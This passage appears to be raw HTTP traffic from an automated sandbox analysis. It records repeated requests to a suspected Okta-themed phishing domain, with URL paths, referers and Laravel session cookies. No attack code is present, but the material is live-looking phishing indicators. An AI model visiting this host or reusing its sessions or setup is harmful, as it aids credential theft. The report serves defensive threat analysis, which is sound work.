en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzfSKSVVzwGEVLxY7bOA4NzirtCtF1GaMBQqxop8zPIfBhpW0CdjaQab180 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yrhv76inSJaBVfGxBEwSxmLj7A0nIUCRosZ3LM0ORxbvHL4JE2FQRwo1v HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsxdLZylu9sNLs7eTOu0UqzijrscZpLQuuew9C74mWaef200 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opxSwtQgKAp3oNRo2XIhbcuyRLwKRd5xRghLW2MjECbAoN6NrGkr67139 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uv5tOb9SlHnVjDL3WYeZfQoF3Qs83rstFSZ0igTibpOtLLBCKZ34130 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghBioawVsGsUA117yrJ412EaQY1Skt4YW6RuiH2YzmHxyQfrkxsWCkyew24xOurTOMWC6k8Q012210 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijbHPlXv32ebWvACIZbLFotR2xA3cdeNQ7GgeJq4gGCcuhx678168 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr8qdLMcV1KyHq9RcCpDL8TGmNXiThRTm9oKUFrvN12Lp0gWgAcpxstwUy42SSCBNeoDKUyLiy7t5j5VJef232 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzfSKSVVzwGEVLxY7bOA4NzirtCtF1GaMBQqxop8zPIfBhpW0CdjaQab180 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stYI03OBVOCU6PTHp0UgOWjuR6YVCNeMM7jmnsOFLV5NiD0a9CgeCqBu7DmPKxRFjpU0zwRS32gh260 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnDozZ86DfeH93KodasaV6JijAz0XdnqsnPjlpZlIO7O290148 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsxdLZylu9sNLs7eTOu0UqzijrscZpLQuuew9C74mWaef200 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr8qdLMcV1KyHq9RcCpDL8TGmNXiThRTm9oKUFrvN12Lp0gWgAcpxstwUy42SSCBNeoDKUyLiy7t5j5VJef232 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; 